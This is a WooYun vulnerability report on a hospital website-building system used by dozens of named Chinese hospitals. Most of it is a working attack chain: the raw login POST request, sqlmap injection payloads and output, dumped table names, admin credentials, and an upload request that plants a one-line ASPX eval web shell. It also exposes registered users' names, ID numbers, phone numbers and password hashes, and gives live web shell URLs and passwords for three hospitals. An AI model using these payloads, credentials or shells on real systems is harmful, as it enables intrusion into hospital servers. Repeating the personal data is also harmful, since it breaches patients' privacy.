当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081643

漏洞标题:某通用医院建站系统登入后台SQL注入,已getshell

相关厂商:台州华顶网络技术有限公司

漏洞作者: 小饼仔

提交时间:2014-11-04 12:35

修复时间:2015-02-02 12:36

公开时间:2015-02-02 12:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-04: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-02: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

这个能不走小厂商吗?

详细说明:

公司:台州华顶网络技术有限公司
网址:http://www.tzsw.cn/
客户案例:http://www.tzsw.cn/wzjs.aspx?newstypeid=25,选择医院

1.png


官网显示有33个,虽然用户数不是非常大,但是我看过一些其他漏洞,比如
WooYun: 某政务大厅系统存在多处SQL注射漏洞
google显示134,000条结果,但是不重复的例子,你点到第二页,也就16条记录。我这好歹20+,比这个多吧,审核同学,希望公平对待,别人走大厂商,有$。有没$不说,我好歹也走大厂商吧。
根据官网给出的案例,花了点功夫浏览了一下,其中一家医院在页面底部暴露了后台登陆地址
绍兴市第七人民医院 http://www.sxdqyy.com/

2.png


登陆地址:http://www.sxdqyy.com/Admin/Index.aspx
已证明基本官网所有案例的后台地址都类似,为医院网址+/Admin/Index.aspx
举例:

台州市第二人民医院	http://www.tz2y.cn/Admin/Index.aspx
台州市立医院 http://www.tzmh.com/Admin/Index.aspx
温岭第二人民医院 http://www.wlsph.com/Admin/Index.aspx
丽水市人民医院 http://www.ls-hospital.com/Admin/Index.aspx
浙江省绍兴市人民医院 http://www.312000.net/Admin/Index.aspx
丽水市第二人民医院 http://www.2113515.com.cn/Admin/Index.aspx
绍兴市第七人民医院 http://www.sxdqyy.com/Admin/Index.aspx
东阳市人民医院 http://www.dywsyy.com/Admin/Index.aspx
浙江省浦江县人民医院 http://www.pjyy.cn/Admin/Index.aspx
衢州市人民医院 http://www.qzhospital.com/Admin/Index.aspx
路桥区第二人民医院 http://www.tzlqey.com/Admin/Index.aspx
临海市中医院 http://www.lhzyy.com/Admin/Index.aspx
浙江省临海市妇幼保健院 http://www.lhsfby.com/Admin/Index.aspx
温岭中医院 http://www.wlzyy.com/Admin/Index.aspx
温岭市妇幼保健院 http://www.wlfby.com/Admin/Index.aspx
温岭东方医院 http://www.wldfyy.com/Admin/Index.aspx
玉环县第二人民医院 http://www.yh2y.com/Admin/Index.aspx
玉环人民医院 http://www.yhrmyy.cn/Admin/Index.aspx
浙江省玉环县中医院 http://www.yhzyy.com.cn/Admin/Index.aspx
三门县人民医院 http://www.zjsmyy.com/Admin/Index.aspx
浙江省天台县人民医院 http://www.ttrmyy.com/Admin/Index.aspx
浙江省仙居县人民医院 http://www.xjrmyy.com.cn/Admin/Index.aspx
仙居妇保院 http://www.xjfby.cn/Admin/Index.aspx
台州章氏骨伤医院 http://www.tzzsgsyy.com/Admin/Index.aspx
黄岩第三人民医院 http://www.hy3y.com/Admin/Index.aspx
温岭市第一人民医院 http://www.wlyy.cn:8000/Admin/Index.aspx


登陆界面举例:

3.png


11.png


12.png


在用户名出输入',报错,(官网其他案例同样报错),
举例:

4.png


13.png


14.png


可以注入,burp抓包,这里以绍兴市第七人民医院 http://www.sxdqyy.com/为例说明,其他案例同理
post请求

POST /Admin/Index.aspx HTTP/1.1
Host: www.sxdqyy.com
Proxy-Connection: keep-alive
Content-Length: 339
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.sxdqyy.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://www.sxdqyy.com/Admin/Index.aspx
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: ASP.NET_SessionId=os5vc33kavomyghsz5ktlmfe
RA-Ver: 2.7.0
RA-Sid: 65E7C870-20141014-044958-a23ba1-b78bcc
__VIEWSTATE=%2FwEPDwUKLTM1NDQxOTYwM2QYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDEltYWdlQnV0dG9uMfq9pk92R7cgEyeXhFrWIHe%2FTJZSqt5Q2eAUMUZ1mDUE&__EVENTVALIDATION=%2FwEWBQKSv%2BKFCAKvpuq2CALyveCRDwLy1ffTCgLSwpnTCAMCHsmfQQ6775XVzS5H652ICDzR5A6cfPclTXQ9V%2Ftt&username=%27&password=111&verifycode=1eqn&ImageButton1.x=44&ImageButton1.y=10


把原来输的用户名' 随便改成其他的,比如aaa,然后丢到SQLMAP中跑(验证码只要正确就可以,不会失效),注入点post参数username

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase stacked conditional-error blind queries
Payload: __VIEWSTATE=/wEPDwUKLTM1NDQxOTYwM2QYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDEltYWdlQnV0dG9uMfq9pk92R7cgEyeXhFrWIHe/TJZSqt5Q2eAUMUZ1mDUE&__EVENTVALIDATION=/wEWBQKSv+KFCAKvpuq2CALyveCRDwLy1ffTCgLSwpnTCAMCHsmfQQ6775XVzS5H652ICDzR5A6cfPclTXQ9V/tt&username=aaa'; IF(9576=9576) SELECT 9576 ELSE DROP FUNCTION LWGV--&password=111&verifycode=1eqn&ImageButton1.x=44&ImageButton1.y=10
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: __VIEWSTATE=/wEPDwUKLTM1NDQxOTYwM2QYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDEltYWdlQnV0dG9uMfq9pk92R7cgEyeXhFrWIHe/TJZSqt5Q2eAUMUZ1mDUE&__EVENTVALIDATION=/wEWBQKSv+KFCAKvpuq2CALyveCRDwLy1ffTCgLSwpnTCAMCHsmfQQ6775XVzS5H652ICDzR5A6cfPclTXQ9V/tt&username=aaa' AND 4869=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(116)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (4869=4869) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(114)+CHAR(103)+CHAR(101)+CHAR(113))) AND 'aFEP'='aFEP&password=111&verifycode=1eqn&ImageButton1.x=44&ImageButton1.y=10
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: __VIEWSTATE=/wEPDwUKLTM1NDQxOTYwM2QYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDEltYWdlQnV0dG9uMfq9pk92R7cgEyeXhFrWIHe/TJZSqt5Q2eAUMUZ1mDUE&__EVENTVALIDATION=/wEWBQKSv+KFCAKvpuq2CALyveCRDwLy1ffTCgLSwpnTCAMCHsmfQQ6775XVzS5H652ICDzR5A6cfPclTXQ9V/tt&username=aaa' UNION ALL SELECT CHAR(113)+CHAR(118)+CHAR(116)+CHAR(118)+CHAR(113)+CHAR(79)+CHAR(81)+CHAR(114)+CHAR(103)+CHAR(117)+CHAR(78)+CHAR(86)+CHAR(102)+CHAR(80)+CHAR(107)+CHAR(113)+CHAR(114)+CHAR(103)+CHAR(101)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &password=111&verifycode=1eqn&ImageButton1.x=44&ImageButton1.y=10
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: __VIEWSTATE=/wEPDwUKLTM1NDQxOTYwM2QYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDEltYWdlQnV0dG9uMfq9pk92R7cgEyeXhFrWIHe/TJZSqt5Q2eAUMUZ1mDUE&__EVENTVALIDATION=/wEWBQKSv+KFCAKvpuq2CALyveCRDwLy1ffTCgLSwpnTCAMCHsmfQQ6775XVzS5H652ICDzR5A6cfPclTXQ9V/tt&username=aaa'; WAITFOR DELAY '0:0:5'--&password=111&verifycode=1eqn&ImageButton1.x=44&ImageButton1.y=10
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __VIEWSTATE=/wEPDwUKLTM1NDQxOTYwM2QYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDEltYWdlQnV0dG9uMfq9pk92R7cgEyeXhFrWIHe/TJZSqt5Q2eAUMUZ1mDUE&__EVENTVALIDATION=/wEWBQKSv+KFCAKvpuq2CALyveCRDwLy1ffTCgLSwpnTCAMCHsmfQQ6775XVzS5H652ICDzR5A6cfPclTXQ9V/tt&username=aaa' WAITFOR DELAY '0:0:5'--&password=111&verifycode=1eqn&ImageButton1.x=44&ImageButton1.y=10
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
current database: 'sxqy'
current user is DBA: False
available databases [6]:
[*] master
[*] model
[*] msdb
[*] ReportServerTempDB
[*] sxqy
[*] tempdb
Database: sxqy
[50 tables]
+--------------------------------+
| DocumentClass |
| DocumentClass |
| ExamineInfo |
| PiaoFu |
| UserInfo |
| aspxJYDInfo |
| aspxJYDInfo |
| aspxUser |
| aspxZYXXInfo |
| aspxZYXXInfo |
| aspxhospital_Admin |
| aspxhospital_ArticlePermission |
| aspxhospital_ArticlePermission |
| aspxhospital_Ask |
| aspxhospital_Bszn |
| aspxhospital_Club |
| aspxhospital_Comments |
| aspxhospital_Device |
| aspxhospital_Doc |
| aspxhospital_DownLoad |
| aspxhospital_Experts |
| aspxhospital_Feeds |
| aspxhospital_Group |
| aspxhospital_Groups |
| aspxhospital_Img |
| aspxhospital_Leader |
| aspxhospital_Links |
| aspxhospital_Medical |
| aspxhospital_Msg |
| aspxhospital_Navigation |
| aspxhospital_Navigation |
| aspxhospital_Nsjg |
| aspxhospital_Organization |
| aspxhospital_PaperArticle |
| aspxhospital_PaperLayout |
| aspxhospital_PaperPanel |
| aspxhospital_Permission |
| aspxhospital_Price |
| aspxhospital_Referral |
| aspxhospital_Reserve |
| aspxhospital_Scheduling |
| aspxhospital_Sections |
| aspxhospital_Sort |
| aspxhospital_Subject |
| aspxhospital_Survey |
| aspxhospital_SurveySubject |
| aspxhospital_Taocan |
| aspxhospital_TopicsList |
| aspxhospital_User |
| aspxhospital_Zjeg |
+--------------------------------+


aspxhospital_Admin表存的是后台管理员登陆账号密码,UserInfo是医院注册用户信息(不同医院表前缀略有不同,但是都可以得到)
注册用户信息列举:
12 500381199511235000 2 18058690855 [email protected] <blank> 11 27 2013 \\?a07:39PM cwack50038 孙化欢 5b194082433200fda61528381809a65b (584131420)
13 330602197704070000 1 18657553117 [email protected] 绍兴市胜利西路1234号 12 \\?a05 2013 \\?a03:40PM zgsxmwf 孟伟峰 aca8c815364c07ba77b1794bcb1e12ca
管理员账号密码:wzasdf wzasdf
登陆后台:

5.png


进入后台后看看能不能拿到shell,发现所以可以编辑处,都可以上传文件,并且对文件没有限制,这里以新闻中心->添加新闻为例(测试请在IE内核浏览器下打开,不然无法上传文件)

6.png


然后上传完一句话后,会列出上传的文件,点击上传的文件,路径会显示在下方

7.png


然后网站地址+显示的地址,http://www.sxdqyy.com/upfile/20141101/201411010314315.aspx
打开发现不能访问,应该是目录下文件不能执行(部分医院的该目录下是可以执行的,可以执行的有了地址,菜刀连接即可,这里以不能执行的为例说明)

9.png


那么我们就需要更改上传的目录,重新打开上传文件页面,然后要记得选择不重命名,burp抓包

8.png


POST /Admin/dialog/fileupload.aspx?type=1&path=upfile%2f20141101 HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://www.sxdqyy.com/Admin/dialog/fileupload.aspx?type=1&path=upfile/20141101
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Content-Type: multipart/form-data; boundary=---------------------------7de3c213180ba8
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Content-Length: 1918
DNT: 1
Host: www.sxdqyy.com
Pragma: no-cache
Cookie: ASP.NET_SessionId=ojwdefckozs2l4lfyincplb5; admincode=3; name=wzasdf; group=1
-----------------------------7de3c213180ba8
Content-Disposition: form-data; name="__VIEWSTATE"
/wEPDwULLTE3MzUzNTIzMDhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQlDaGVja0JveDGLD5AxK0ytcAlPIXHQ2t52KCdEigxha6T5Wy+kDWlIKA==
-----------------------------7de3c213180ba8
Content-Disposition: form-data; name="__EVENTVALIDATION"
/wEWAgLjhKezBQKC5Ne7Cf6is+TX73s+1DbWxKwyyIUz33PAtttSChAQGib19mgX
-----------------------------7de3c213180ba8
Content-Disposition: form-data; name="FilesNum"
4
-----------------------------7de3c213180ba8
Content-Disposition: form-data; name="rename"
2
-----------------------------7de3c213180ba8
Content-Disposition: form-data; name="water"
1
-----------------------------7de3c213180ba8
Content-Disposition: form-data; name="watertxt"
请输入水印文字
-----------------------------7de3c213180ba8
Content-Disposition: form-data; name="select"
1
-----------------------------7de3c213180ba8
Content-Disposition: form-data; name="width"
500
-----------------------------7de3c213180ba8
Content-Disposition: form-data; name="height"
300
-----------------------------7de3c213180ba8
Content-Disposition: form-data; name="File"; filename="heiha.aspx"
Content-Type: text/plain
<%@ Page Language="Jscript"%><%eval(Request.Item["wooyun379"],"unsafe");%>
-----------------------------7de3c213180ba8
Content-Disposition: form-data; name="File"; filename=""
Content-Type: application/octet-stream
-----------------------------7de3c213180ba8
Content-Disposition: form-data; name="File"; filename=""
Content-Type: application/octet-stream
-----------------------------7de3c213180ba8
Content-Disposition: form-data; name="File"; filename=""
Content-Type: application/octet-stream
-----------------------------7de3c213180ba8
Content-Disposition: form-data; name="submit"
文件上传
-----------------------------7de3c213180ba8--


url有一个参数path=upfile%2f20141101,为上传文件目录,因为上传文件的页面为http://www.sxdqyy.com/Admin/dialog/PicList.aspx,所以/Admin/dialog/下的文件是可执行的,所以我们改成path=Admin/dialog,forward出去,然后访问http://www.sxdqyy.com/Admin/dialog/heiha.aspx,没有提示错误
一句话地址http://www.sxdqyy.com/Admin/dialog/heiha.aspx 密码wooyun379

10.png


其他案例同理
审核如果觉得这一个案例不能证明通用
我再给两个一句话地址
温岭东方医院 http://www.wldfyy.com//upfile/20141029/201410291232709.aspx xbz
台州市第二人民医院 http://www.tz2y.cn/upfile/20141028/201410281127432.aspx xbz
如果还觉得不够,可以私信联系,我再给你~

漏洞证明:

修复方案:

版权声明:转载请注明来源 小饼仔@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝